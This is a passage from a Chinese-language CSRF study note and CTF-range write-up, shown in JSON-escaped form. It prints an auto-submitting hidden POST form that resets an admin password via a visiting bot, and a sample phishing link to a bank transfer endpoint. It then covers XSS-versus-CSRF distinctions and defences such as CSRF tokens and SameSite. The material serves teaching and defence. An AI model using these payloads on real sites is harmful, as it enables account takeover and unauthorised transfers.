    \u8bf7\u6c42\u65b9\u6cd5<\/td>\nPOST（\u4e0d\u80fd\u7528 <img>，\u5fc5\u987b\u6784\u9020\u8868\u5355）<\/td>\n<\/tr>\n
    \u8bf7\u6c42 URL<\/td>\n\/change_password<\/td>\n<\/tr>\n
    \u8bf7\u6c42\u53c2\u6570<\/td>\nnew_password=123456<\/td>\n<\/tr>\n
    CSRF Token<\/td>\n\u65e0 \u2192 \u5b58\u5728\u6f0f\u6d1e<\/td>\n<\/tr>\n
    \u54cd\u5e94\u72b6\u6001\u7801<\/td>\n302（\u4fee\u6539\u6210\u529f\u540e\u91cd\u5b9a\u5411）<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

    4.4 \u7b2c\u4e8c\u6b65：\u6784\u9020\u81ea\u52a8\u63d0\u4ea4\u7684 POST \u8868\u5355<\/h4>\n

    \u7528 JavaScript \u52a8\u6001\u521b\u5efa\u5e76\u63d0\u4ea4\u8868\u5355：<\/p>\n

    <!DOCTYPE html>
    \n<html>
    \n<head>
    \n \u00a0 \u00a0<title>\u5bc6\u7801\u4fee\u6539<\/title>
    \n<\/head>
    \n<body>
    \n \u00a0 \u00a0<script>
    \n \u00a0 \u00a0 \u00a0 \u00a0\/\/ \u9875\u9762\u52a0\u8f7d\u540e\u81ea\u52a8\u63d0\u4ea4 POST \u8bf7\u6c42
    \n \u00a0 \u00a0 \u00a0 \u00a0window.onload = function() {
    \n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0const url = '\/change_password';
    \n\u200b
    \n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0\/\/ \u521b\u5efa\u8868\u5355
    \n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0const form = document.createElement('form');
    \n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0form.method = 'POST';
    \n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0form.action = url;
    \n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0form.style.display = 'none';
    \n\u200b
    \n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0\/\/ \u6dfb\u52a0\u5bc6\u7801\u5b57\u6bb5
    \n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0const input = document.createElement('input');
    \n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0input.type = 'hidden';
    \n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0input.name = 'new_password';
    \n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0input.value = '123456';
    \n\u200b
    \n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0form.appendChild(input);
    \n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0document.body.appendChild(form);
    \n\u200b
    \n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0\/\/ \u63d0\u4ea4\u8868\u5355
    \n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0form.submit();
    \n \u00a0 \u00a0 \u00a0 };
    \n \u00a0 \u00a0<\/script>
    \n \u00a0 \u00a0<p>\u6b63\u5728\u63d0\u4ea4\u5bc6\u7801\u4fee\u6539\u8bf7\u6c42，\u8bf7\u7a0d\u5019…<\/p>
    \n<\/body>
    \n<\/html><\/p>\n

    \u4e09\u79cd\u81ea\u52a8\u63d0\u4ea4\u5199\u6cd5\u5bf9\u6bd4：<\/p>\n\n\u5199\u6cd5\u7279\u70b9<\/tr>\n\n\n\n\n
    window.onload + \u52a8\u6001\u5efa form + submit()<\/td>\n\u672c\u9776\u573a\u7528\u6cd5，\u6700\u7075\u6d3b，\u9002\u5408\u6ce8\u5165\u573a\u666f<\/td>\n<\/tr>\n
    <body onload="document.forms[0].submit()"><\/td>\n\u6700\u77ed，\u4f46\u8868\u5355\u5fc5\u987b\u5df2\u5199\u5728 HTML \u91cc<\/td>\n<\/tr>\n
    <form> \u9759\u6001\u5199\u6b7b + <script>form.submit()<\/script><\/td>\n\u7b80\u5355\u76f4\u63a5<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

    4.5 \u7b2c\u4e09\u6b65：\u63d0\u4ea4 Payload \u5e76\u7b49\u5f85 Bot<\/h4>\n
  • \n

    \u628a\u4e0a\u8ff0 HTML \u7c98\u8d34\u5230"\u7ba1\u7406 HTML \u9875\u9762"\u5e76\u63d0\u4ea4<\/p>\n<\/li>\n

  • \n

    \u4ee3\u7801\u88ab\u5199\u5165 \/static\/poc.html<\/p>\n<\/li>\n

  • \n

    \u7b49\u5f85 30 \u79d2\u4ee5\u4e0a，\u8ba9\u9776\u573a\u7684\u5b9a\u65f6\u4efb\u52a1\u8bbf\u95ee\u8be5\u9875\u9762<\/p>\n<\/li>\n

  • \n

    Bot \u7684\u6d4f\u89c8\u5668\u89e3\u6790 <script>，\u81ea\u52a8\u5411 \/change_password \u53d1\u9001 POST \u8bf7\u6c42<\/p>\n<\/li>\n

  • \n

    \u5173\u952e：\u56e0\u4e3a\u662f Bot \u53d1\u8d77\u7684\u8bf7\u6c42，\u6d4f\u89c8\u5668\u81ea\u52a8\u5e26\u4e0a\u4e86 admin \u7684 Cookie<\/p>\n<\/li>\n

  • \n

    \u670d\u52a1\u5668\u9a8c\u8bc1\u901a\u8fc7 \u2192 admin \u7684\u5bc6\u7801\u88ab\u6539\u6210 123456<\/p>\n<\/li>\n

    4.6 \u7b2c\u56db\u6b65：\u9a8c\u8bc1\u653b\u51fb\u5e76\u83b7\u53d6 Flag<\/h4>\n
  • \n

    \u9000\u51fa user \u8d26\u53f7<\/p>\n<\/li>\n

  • \n

    \u7528 admin \/ 123456 \u767b\u5f55<\/p>\n<\/li>\n

  • \n

    \u767b\u5f55\u6210\u529f \u2192 \u62ff\u5230 Flag<\/p>\n<\/li>\n

    4.7 \u590d\u76d8：\u8fd9\u662f\u4e00\u6b21"\u76f2\u6253"<\/h4>\n

    \u653b\u51fb\u8005\u770b\u4e0d\u5230 Bot \u53d1\u51fa\u7684\u8bf7\u6c42，\u4e5f\u65e0\u6cd5\u76f4\u63a5\u8bfb\u53d6\u54cd\u5e94，\u53ea\u80fd\u901a\u8fc7\u7ed3\u679c（\u80fd\u5426\u7528\u65b0\u5bc6\u7801\u767b\u5f55\u6210\u529f）\u6765\u9a8c\u8bc1\u653b\u51fb\u662f\u5426\u5f97\u624b\u3002<\/p>\n

    \u8fd9\u662f CTF \u9776\u573a\u4e2d\u975e\u5e38\u5e38\u89c1\u7684"\u76f2\u6253"\u6a21\u5f0f，\u548c SQL \u76f2\u6ce8\u7684\u601d\u8def\u4e00\u81f4：\u6ca1\u6709\u76f4\u63a5\u56de\u663e\u65f6，\u5c31\u627e\u4e00\u4e2a\u53ef\u89c2\u5bdf\u7684\u526f\u4f5c\u7528\u6765\u63a8\u65ad\u7ed3\u679c\u3002<\/p>\n

    \n

    \u4e94\u3001XSS \u4e0e CSRF \u7684\u533a\u522b<\/h3>\n

    \u8fd9\u4e24\u4e2a\u6f0f\u6d1e\u7ecf\u5e38\u88ab\u6df7\u4e3a\u4e00\u8c08，\u5176\u5b9e\u5dee\u522b\u5f88\u5927\u3002<\/p>\n

    5.1 \u4e24\u4e2a\u6bd4\u55bb<\/h4>\n

    XSS = \u5c0f\u5077\u4eb2\u81ea\u6e9c\u8fdb\u4f60\u5bb6<\/p>\n

    \u5c0f\u5077\u8d81\u4f60\u4e0d\u6ce8\u610f\u6e9c\u8fdb\u4f60\u5bb6（\u7f51\u7ad9），\u8eb2\u8fdb\u8863\u67dc（\u7f51\u9875\u4ee3\u7801）\u3002\u7b49\u4f60\u56de\u5bb6（\u6253\u5f00\u7f51\u9875），\u4ed6\u5c31\u7a7f\u7740\u4f60\u7684\u8863\u670d\u3001\u7528\u4f60\u7684\u624b\u673a\u3001\u82b1\u4f60\u7684\u94b1\u3002<\/p>\n

    CSRF = \u9a97\u5b50\u5192\u5145\u4f60\u53bb\u94f6\u884c\u7b7e\u5b57<\/p>\n

    \u9a97\u5b50\u4f2a\u9020\u4e86\u4e00\u5f20\u4f60\u7684\u7b7e\u540d（\u8bf7\u6c42），\u9a97\u94f6\u884c\u67dc\u5458（\u670d\u52a1\u5668）\u8bf4\u8fd9\u662f\u4f60\u672c\u4eba\u8981\u8f6c\u8d26\u3002\u67dc\u5458\u4e00\u770b\u7b7e\u540d（Cookie）\u662f\u771f\u7684，\u5c31\u628a\u94b1\u8f6c\u8d70\u4e86\u2014\u2014\u800c\u4f60\u6839\u672c\u4e0d\u77e5\u9053\u8fd9\u4ef6\u4e8b\u3002<\/p>\n

    5.2 \u4e00\u53e5\u8bdd\u533a\u5206<\/h4>\n

    XSS \u662f"\u6211\u5728\u4f60\u7684\u6d4f\u89c8\u5668\u91cc\u6267\u884c\u4ee3\u7801"\u3002 CSRF \u662f"\u6211\u8ba9\u4f60\u7684\u6d4f\u89c8\u5668\u66ff\u6211\u53d1\u8bf7\u6c42"\u3002<\/p>\n

    5.3 \u6838\u5fc3\u533a\u522b\u5bf9\u7167\u8868<\/h4>\n\n\u7ef4\u5ea6XSS（\u8de8\u7ad9\u811a\u672c）CSRF（\u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020）<\/tr>\n\n\n\n\n\n\n\n\n
    \u653b\u51fb\u76ee\u6807<\/td>\n\u7528\u6237（\u5077\u7528\u6237\u7684\u6570\u636e）<\/td>\n\u670d\u52a1\u5668（\u9a97\u670d\u52a1\u5668\u6267\u884c\u64cd\u4f5c）<\/td>\n<\/tr>\n
    \u5229\u7528\u7684\u4fe1\u4efb<\/td>\n\u7f51\u7ad9\u4fe1\u4efb\u7528\u6237\u8f93\u5165\u7684\u5185\u5bb9<\/td>\n\u7f51\u7ad9\u4fe1\u4efb\u7528\u6237\u6d4f\u89c8\u5668\u5e26\u6765\u7684 Cookie<\/td>\n<\/tr>\n
    \u653b\u51fb\u8005\u8981\u505a\u4ec0\u4e48<\/td>\n\u5f80\u7f51\u9875\u91cc\u6ce8\u5165\u6076\u610f JS \u4ee3\u7801<\/td>\n\u6784\u9020\u4e00\u4e2a\u4f2a\u9020\u8bf7\u6c42\u7684\u9875\u9762 \/ \u94fe\u63a5<\/td>\n<\/tr>\n
    \u53d7\u5bb3\u8005\u8981\u505a\u4ec0\u4e48<\/td>\n\u53ea\u8981\u6253\u5f00\u7f51\u9875\u5c31\u4e2d\u62db<\/td>\n\u9700\u8981\u8bbf\u95ee\u6076\u610f\u9875\u9762（\u6216\u70b9\u51fb\u94fe\u63a5）<\/td>\n<\/tr>\n
    \u80fd\u5077\u5230 Cookie \u5417<\/td>\n\u2705 \u80fd（\u8fd9\u662f XSS \u7684\u4e3b\u8981\u76ee\u6807）<\/td>\n\u274c \u4e0d\u80fd（\u53ea\u662f"\u501f\u7528"Cookie \u53d1\u8bf7\u6c42）<\/td>\n<\/tr>\n
    \u5178\u578b\u5371\u5bb3<\/td>\n\u76d7\u53f7\u3001\u7be1\u6539\u7f51\u9875\u3001\u7a83\u53d6\u9690\u79c1<\/td>\n\u8f6c\u8d26\u3001\u6539\u5bc6\u7801\u3001\u53d1\u5e16\u3001\u5173\u6ce8<\/td>\n<\/tr>\n
    \u9632\u5fa1\u6838\u5fc3<\/td>\n\u8f93\u51fa\u7f16\u7801<\/td>\nCSRF Token \/ SameSite<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

    📌 \u6700\u5bb9\u6613\u8bb0\u6df7\u7684\u4e00\u70b9：CSRF \u5077\u4e0d\u5230 Cookie\u3002\u5b83\u4e0d\u9700\u8981\u77e5\u9053 Cookie \u7684\u5185\u5bb9，\u53ea\u662f"\u501f\u7740"\u6d4f\u89c8\u5668\u4f1a\u81ea\u52a8\u643a\u5e26 Cookie \u8fd9\u4e2a\u7279\u6027，\u628a\u8bf7\u6c42\u53d1\u51fa\u53bb\u3002<\/p>\n

    5.4 \u7ec4\u5408\u62f3\u4e3a\u4ec0\u4e48\u6700\u5371\u9669<\/h4>\n\n\u7ec4\u5408\u6548\u679c<\/tr>\n\n\n\n
    \u7eaf CSRF<\/td>\n\u9700\u8981\u8bf1\u5bfc\u53d7\u5bb3\u8005\u70b9\u51fb\u94fe\u63a5\u6216\u8bbf\u95ee\u9875\u9762，\u4f9d\u8d56\u793e\u5de5<\/td>\n<\/tr>\n
    XSS + CSRF<\/td>\nXSS \u8ba9\u8bf7\u6c42\u81ea\u52a8\u53d1\u51fa，\u53d7\u5bb3\u8005\u6beb\u65e0\u611f\u77e5，\u65e0\u9700\u793e\u5de5<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

    \u672c\u7b14\u8bb0\u7684\u9776\u573a\u4e8c\u5c31\u662f\u6807\u51c6\u8303\u4f8b：XSS \u8d1f\u8d23"\u628a\u4ee3\u7801\u9001\u8fdb\u53bb"，CSRF \u8d1f\u8d23"\u7528\u7ba1\u7406\u5458\u6743\u9650\u5e72\u574f\u4e8b"\u3002<\/p>\n

    \n

    \u516d\u3001\u9632\u5fa1\u603b\u89c8<\/h3>\n

    6.1 \u6309\u5f3a\u5ea6\u6392\u5e8f\u7684\u9632\u5fa1\u63aa\u65bd<\/h4>\n\n\u63aa\u65bd\u539f\u7406\u5f3a\u5ea6<\/tr>\n\n\n\n\n\n\n\n
    CSRF Token<\/td>\n\u8868\u5355\u91cc\u5e26\u4e00\u4e2a\u968f\u673a\u3001\u4e0d\u53ef\u9884\u6d4b\u7684 Token，\u540e\u7aef\u6821\u9a8c<\/td>\n\u2b50 \u6700\u4e3b\u6d41<\/td>\n<\/tr>\n
    SameSite Cookie<\/td>\n\u8de8\u7ad9\u8bf7\u6c42\u4e0d\u5e26 Cookie<\/td>\n\u2b50 \u6d4f\u89c8\u5668\u5c42\u515c\u5e95<\/td>\n<\/tr>\n
    \u4e8c\u6b21\u9a8c\u8bc1<\/td>\n\u654f\u611f\u64cd\u4f5c\u8981\u6c42\u91cd\u65b0\u8f93\u5bc6\u7801 \/ \u77ed\u4fe1\u7801<\/td>\n\u5f88\u5f3a<\/td>\n<\/tr>\n
    \u9a8c\u8bc1\u65e7\u5bc6\u7801<\/td>\n\u6539\u5bc6\u7801\u65f6\u5f3a\u5236\u8f93\u5165\u539f\u5bc6\u7801<\/td>\n\u8be5\u573a\u666f\u51e0\u4e4e\u65e0\u654c<\/td>\n<\/tr>\n
    \u6821\u9a8c Origin \/ Referer<\/td>\n\u62d2\u7edd\u975e\u672c\u7ad9\u6765\u6e90\u7684\u8bf7\u6c42<\/td>\n\u8f85\u52a9<\/td>\n<\/tr>\n
    \u654f\u611f\u64cd\u4f5c\u6539\u7528 POST<\/td>\n\u62ac\u9ad8\u5229\u7528\u95e8\u69db（\u8fd8\u8981\u6821\u9a8c Content-Type）<\/td>\n\u8f85\u52a9<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

    CSRF Token \u7684\u5b9e\u73b0\u8981\u70b9：<\/p>\n

    \/\/ 1. \u751f\u6210\u5e76\u5b58\u8fdb session（\u6bcf\u4e2a\u4f1a\u8bdd\u4e00\u4e2a，\u6216\u6bcf\u6b21\u8bf7\u6c42\u4e00\u4e2a）
    \n$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    \n\u200b
    \n\/\/ 2. \u8868\u5355\u91cc\u5e26\u4e0a\u5b83
    \n\/\/ <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">
    \n\u200b
    \n\/\/ 3. \u540e\u7aef\u6821\u9a8c（\u7528 hash_equals \u505a\u6052\u5b9a\u65f6\u95f4\u6bd4\u8f83，\u9632\u65f6\u5e8f\u653b\u51fb）
    \nif (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'] ?? '')) {
    \n \u00a0 \u00a0http_response_code(403);
    \n \u00a0 \u00a0exit('CSRF token \u6821\u9a8c\u5931\u8d25');
    \n}<\/p>\n

    💡 \u4e3a\u4ec0\u4e48 Token \u6709\u6548？\u56e0\u4e3a\u6076\u610f\u7f51\u7ad9\u53d7\u540c\u6e90\u7b56\u7565\u9650\u5236，\u8bfb\u4e0d\u5230\u76ee\u6807\u7ad9\u7684\u9875\u9762\u5185\u5bb9，\u81ea\u7136\u62ff\u4e0d\u5230 Token\u3002<\/p>\n

    6.2 \u91cd\u8981\u7ec6\u8282：SameSite \u4e0d\u662f\u4e07\u80fd\u7684<\/h4>\n

    \u73b0\u4ee3\u6d4f\u89c8\u5668\u9ed8\u8ba4 SameSite=Lax，\u5b83\u7684\u884c\u4e3a\u9700\u8981\u7cbe\u786e\u7406\u89e3：<\/p>\n\n\u8bf7\u6c42\u573a\u666fSameSite=Lax \u4e0b\u662f\u5426\u5e26 Cookie<\/tr>\n\n\n\n\n
    \u8de8\u7ad9 POST（\u8868\u5355\u63d0\u4ea4）<\/td>\n\u274c \u4e0d\u5e26<\/td>\n<\/tr>\n
    \u8de8\u7ad9\u5b50\u8d44\u6e90\u8bf7\u6c42（<img>\u3001<iframe>\u3001<script>）<\/td>\n\u274c \u4e0d\u5e26<\/td>\n<\/tr>\n
    \u8de8\u7ad9\u9876\u7ea7 GET \u5bfc\u822a（\u7528\u6237\u70b9\u51fb\u94fe\u63a5\u8df3\u8f6c）<\/td>\n\u2705 \u4ecd\u7136\u5e26<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

    \u4e24\u4e2a\u76f4\u63a5\u63a8\u8bba：<\/p>\n

  • \n

    \u9776\u573a\u4e8c\u90a3\u79cd <img> \u578b GET CSRF，\u4f1a\u88ab Lax \u6321\u6389（\u5c5e\u4e8e\u5b50\u8d44\u6e90\u8bf7\u6c42）<\/p>\n<\/li>\n

  • \n

    \u4f46\u5982\u679c\u6362\u6210\u8bf1\u5bfc\u7528\u6237\u70b9\u51fb\u94fe\u63a5（<a href="http:\/\/bank.com\/transfer?to_user=attacker&amount=1000">\u70b9\u51fb\u9886\u53d6\u5956\u52b1<\/a>），Lax \u6321\u4e0d\u4f4f\u2014\u2014\u9876\u7ea7\u5bfc\u822a\u4f1a\u5e26 Cookie<\/p>\n<\/li>\n

    \u26a0\ufe0f \u7ed3\u8bba：SameSite \u4e0d\u662f\u94f6\u5f39\u3002 \u654f\u611f\u64cd\u4f5c\u5fc5\u987b\u6539\u6210 POST，\u518d\u914d\u5408 Token \u624d\u7a33\u59a5\u3002GET \u578b\u63a5\u53e3\u5929\u7136\u66f4\u5bb9\u6613\u88ab CSRF\u3002<\/p>\n

    6.3 \u5468\u8fb9\u9632\u5fa1（\u522b\u5ffd\u89c6）<\/h4>\n\n\u65b9\u5411\u63aa\u65bd<\/tr>\n\n\n\n\n\n
    \u4fee\u590d XSS<\/td>\n\u5bf9\u7528\u6237\u8f93\u5165\u505a HTML \u5b9e\u4f53\u7f16\u7801\u3002\u5426\u5219 XSS \u4f1a\u6210\u4e3a CSRF \u7684\u8df3\u677f（\u9776\u573a\u4e8c\u5c31\u662f\u6559\u8bad）<\/td>\n<\/tr>\n
    HTML \u6258\u7ba1\u7c7b\u529f\u80fd<\/td>\n\u4e25\u683c\u8fc7\u6ee4 <script>\u3001<form> \u7b49\u5371\u9669\u6807\u7b7e，\u5e76\u914d\u7f6e CSP \u7981\u6b62\u5185\u8054\u811a\u672c<\/td>\n<\/tr>\n
    \u6743\u9650\u9694\u79bb<\/td>\n\u7ba1\u7406\u5458\u67e5\u770b\u7528\u6237\u5185\u5bb9\u65f6，\u5e94\u5728\u6c99\u7bb1\u6216\u72ec\u7acb\u6d4f\u89c8\u5668\u4e2d\u8fdb\u884c，\u907f\u514d\u5e26\u7740\u9ad8\u6743\u9650 Cookie \u76f4\u63a5\u8bbf\u95ee\u7528\u6237\u63d0\u4ea4\u7684\u5185\u5bb9<\/td>\n<\/tr>\n
    \u6700\u5c0f\u6743\u9650<\/td>\n\u7ba1\u7406\u5458\u8d26\u53f7\u4e0d\u5e94\u62e5\u6709\u76f4\u63a5\u8f6c\u8d26\u6743\u9650，\u6216\u5fc5\u987b\u4e8c\u6b21\u9a8c\u8bc1<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

    6.4 \u5ef6\u4f38：JSON \u578b CSRF<\/h4>\n\n\u60c5\u51b5\u662f\u5426\u53ef\u5229\u7528<\/tr>\n\n\n\n\n
    \u63a5\u53e3\u4e25\u683c\u8981\u6c42 Content-Type: application\/json<\/td>\n\u274c \u8f83\u96be\u3002HTML \u8868\u5355\u53d1\u4e0d\u51fa\u8fd9\u4e2a Content-Type<\/td>\n<\/tr>\n
    \u670d\u52a1\u7aef\u63a5\u53d7 text\/plain \u5374\u6309 JSON \u89e3\u6790<\/td>\n\u26a0\ufe0f \u53ef\u88ab\u5229\u7528<\/td>\n<\/tr>\n
    CORS \u914d\u7f6e\u4e0d\u5f53（\u5982 Access-Control-Allow-Origin: * \u4e14\u5141\u8bb8\u643a\u5e26\u51ed\u8bc1）<\/td>\n\u26a0\ufe0f \u53ef\u88ab\u5229\u7528<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

    💡 \u8001\u8d44\u6599\u91cc\u5e38\u63d0"JSON \u578b CSRF \u9700\u8981\u914d\u5408 Flash"，\u4f46 Flash \u5df2\u4e8e 2020 \u5e74\u505c\u6b62\u652f\u6301，\u73b0\u5728\u4e0d\u5fc5\u518d\u8003\u8651\u8fd9\u6761\u8def\u5f84\u3002<\/p>\n

    \n

    \u4e03\u3001\u603b\u7ed3<\/h3>\n

    7.1 \u4e09\u4e2a\u9776\u573a\u4e32\u8d77\u6765\u770b<\/h4>\n\n\u9776\u573a\u96be\u5ea6\u7c7b\u578b\u653b\u51fb\u94fe<\/tr>\n\n\n\n\n
    CSRF \u6a21\u62df\u6f14\u7ec3\u573a<\/td>\n1 \u7ea7<\/td>\nPOST \u578b<\/td>\n\u9690\u85cf\u8868\u5355 + \u8bf1\u5bfc\u70b9\u51fb<\/td>\n<\/tr>\n
    \u5165\u95e8 CSRF<\/td>\n2 \u7ea7<\/td>\nGET \u578b + XSS<\/td>\n\u5b58\u50a8\u578b XSS \u6ce8\u5165\u7559\u8a00\u677f \u2192 Bot \u89e6\u53d1 \u2192 <img> \u53d1\u8d77\u8f6c\u8d26<\/td>\n<\/tr>\n
    POST-CSRF \u5165\u95e8<\/td>\n\u9ad8\u9636<\/td>\nPOST \u578b + Bot<\/td>\n\u9776\u573a\u81ea\u5e26 HTML \u6258\u7ba1 \u2192 \u5b9a\u65f6 Bot \u8bbf\u95ee \u2192 \u81ea\u52a8\u63d0\u4ea4\u6539\u5bc6\u8868\u5355<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

    \u9012\u8fdb\u5173\u7cfb：\u4ece"\u9700\u8981\u8bf1\u5bfc\u70b9\u51fb"\u2192"XSS \u81ea\u52a8\u89e6\u53d1"\u2192"\u6258\u7ba1\u9875\u9762 + \u5b9a\u65f6 Bot \u5168\u81ea\u52a8"，\u653b\u51fb\u8005\u7684\u4ecb\u5165\u8d8a\u6765\u8d8a\u5c11\u3002<\/p>\n

    7.2\u00a0\u4e00\u53e5\u8bdd\u6536\u5c3e<\/h4>\n

    CSRF \u5c31\u662f"\u501f\u7528\u4f60\u7684\u8eab\u4efd，\u66ff\u4f60\u505a\u51b3\u5b9a"\u3002 \u9632\u5fa1\u7684\u6838\u5fc3：\u8ba9\u653b\u51fb\u8005\u4f2a\u9020\u7684\u8bf7\u6c42，\u65e0\u6cd5\u901a\u8fc7\u670d\u52a1\u5668\u7684\u6821\u9a8c\u3002<\/p>\n

    CSRF Token \u662f\u4e3b\u529b，SameSite \u662f\u515c\u5e95，\u654f\u611f\u64cd\u4f5c\u5fc5\u987b\u7528 POST\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"

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